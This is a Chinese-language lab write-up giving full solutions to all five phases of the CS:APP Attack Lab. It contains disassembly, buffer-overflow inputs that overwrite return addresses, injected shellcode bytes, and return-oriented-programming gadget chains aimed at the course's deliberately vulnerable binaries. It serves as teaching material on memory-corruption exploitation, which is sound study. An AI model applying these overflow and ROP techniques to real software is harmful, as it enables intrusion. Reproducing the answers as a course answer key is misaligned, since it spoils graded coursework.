Attacklab Summary

1、phase1

先把汇编代码取出

1
objdump -d ./ctarget>>ctarget.s

生成的代码很长,查找以下我们需要用到的3个函数,分别是test,getbuf和touch1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq

00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq

00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>

将断点打在4017b9

1
b *0x4017b9

将运行时输入源设置一下

1
set args -qi ans.txt

运行后显示一下当前rsp附近的60字节

此处即为返回地址,将其设置成touch1的地址即可。

2、pashe2

反汇编touch2代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0x00000000004017ec <+0>:	sub    $0x8,%rsp
0x00000000004017f0 <+4>: mov %edi,%edx
0x00000000004017f2 <+6>: movl $0x2,0x202ce0(%rip) # 0x6044dc <vlevel>
0x00000000004017fc <+16>: cmp 0x202ce2(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401802 <+22>: jne 0x401824 <touch2+56>
0x0000000000401804 <+24>: mov $0x4030e8,%esi
0x0000000000401809 <+29>: mov $0x1,%edi
0x000000000040180e <+34>: mov $0x0,%eax
0x0000000000401813 <+39>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401818 <+44>: mov $0x2,%edi
0x000000000040181d <+49>: callq 0x401c8d <validate>
0x0000000000401822 <+54>: jmp 0x401842 <touch2+86>
0x0000000000401824 <+56>: mov $0x403110,%esi
0x0000000000401829 <+61>: mov $0x1,%edi
0x000000000040182e <+66>: mov $0x0,%eax
0x0000000000401833 <+71>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401838 <+76>: mov $0x2,%edi
0x000000000040183d <+81>: callq 0x401d4f <fail>
0x0000000000401842 <+86>: mov $0x0,%edi
0x0000000000401847 <+91>: callq 0x400e40 <exit@plt>

得到touch2的首地址为0x4017ec

读懂题意后,我们能知道,题目要求我们再读入字符串后,去执行touch2(和phase1类似),但是同时要求我们把cookie的值设置成touch2的参数,也就是修改rdi的值为cookie.txt中的值(0x59b997fa);

和phase1一样直接返回肯定不行,所以我们要写一段汇编代码,要求程序修改rdi的值,然后再去执行touch2;

1
2
3
movq $0x59b997fa,%rdi
pushq $0x4017ec #将touch2的首地址push到栈上,rsp自动会指向它
retq #返回后,程序会将pc修改成rsp指定的位置,即跳转到touch2的首地址

将上述代码编译后再反汇编,得到下图形式;

1
2
gcc -c icode.s
objdump -d icode.o > icode_dump.txt

写完这段代码后,我们就只剩一个任务,就是如何让函数getbuf在执行Gets后跳转到此汇编代码处;

这里我们可以想到把这段代码的二进制形式放到栈顶处,并且将getbuf的返回地址设置成栈顶即可;

所以读入的数据可以写成这样;

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 #栈顶位置,此值可以通过gdb打断点后显示出来,如下图

3、phase3

读懂题意后,我们发现此题类似于phase2,不过传入的参数为一个指向cookie的ascii表示的指针,而不是cookie;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cookie:59b997fa
ascii:
141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25 % 145 101 65 e
046 38 26 & 146 102 66 f
047 39 27 ' 147 103 67 g
050 40 28 ( 150 104 68 h
051 41 29 ) 151 105 69 i
052 42 2A * 152 106 6A j
053 43 2B + 153 107 6B k
054 44 2C , 154 108 6C l
055 45 2D - 155 109 6D m

056 46 2E . 156 110 6E n
057 47 2F / 157 111 6F o
060 48 30 0 160 112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165 117 75 u
066 54 36 6 166 118 76 v
067 55 37 7 167 119 77 w
070 56 38 8 170 120 78 x
071 57 39 9 171 121 79 y
072 58 3A : 172 122 7A z

cookie ->:35 39 62 39 39 37 66 61 0

touch3的代码反汇编出来,得到首地址为0x4018fa;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0x00000000004018fa <+0>:	push   %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
0x000000000040194f <+85>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401954 <+90>: mov $0x3,%edi
0x0000000000401959 <+95>: callq 0x401d4f <fail>
0x000000000040195e <+100>: mov $0x0,%edi
0x0000000000401963 <+105>: callq 0x400e40 <exit@plt>

需要注入的汇编代码

1
2
3
movq $05561dca8,%rdi   #因为传入参数形式为char*,所以rdi中应该是一个位置(这个位置中存放cookie的ascii表示形式),为什么是0x5561dca8后面解释。
pushq $0x4018fa
retq

将此代码编译并反汇编后得到如下

1
2
3
4
5
6
7
8
9
10
11
12
silly@silly-virtual-machine:~/target1$ cat -n icode2_dump.txt
1
2 icode2.o: 文件格式 elf64-x86-64
3
4
5 Disassembly of section .text:
6
7 0000000000000000 <.text>:
8 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
9 7: 68 fa 18 40 00 pushq $0x4018fa
10 c: c3 retq

所以类似phase2将输入设置成

1
2
3
4
5
6
7
8
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 #cookie在此处,位置为0x5561dca8,由栈顶为0x5561dc78推出
00

4、phase4

1
2
3
题目要求使用两条指令完成:
popq rax ------ 58
movq rax,rdi ------ 48 89 c7
1
2
3
4
5
6
7
start_fram:401994
end_fram:401ab2
在0x401994 - 0x401ab2中间找即可58 和 48 89 c7即可
查找 58:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) ---> 0x4019b9
查找 48 89 c7:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) ---> 0x4019c5

所以输入的字符串为

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b9 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

5、phase5

在farm.c里找到了一个rdi和rsi的加法,本来想写如下汇编代码

1
2
3
4
5
6
7
8
movq    %rsp,%rdi
popq %rax
0x30
movq %rax,%rsi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
touch3
0x25396239396661

结果一查第一个指令的代码就没有,应该是要找另外的寄存器调来调去,太晚了不想找了,直接抄了别人的。

1
2
3
4
5
6
7
8
9
10
11
movq %rsp,%rax		
movq %rax,%rdi
popq %rax
0x48
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
touch3
0x25396239396661
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
06 1A 40 00 00 00 00 00
C5 19 40 00 00 00 00 00
AB 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
DD 19 40 00 00 00 00 00
34 1A 40 00 00 00 00 00
27 1A 40 00 00 00 00 00
D6 19 40 00 00 00 00 00
C5 19 40 00 00 00 00 00
FA 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61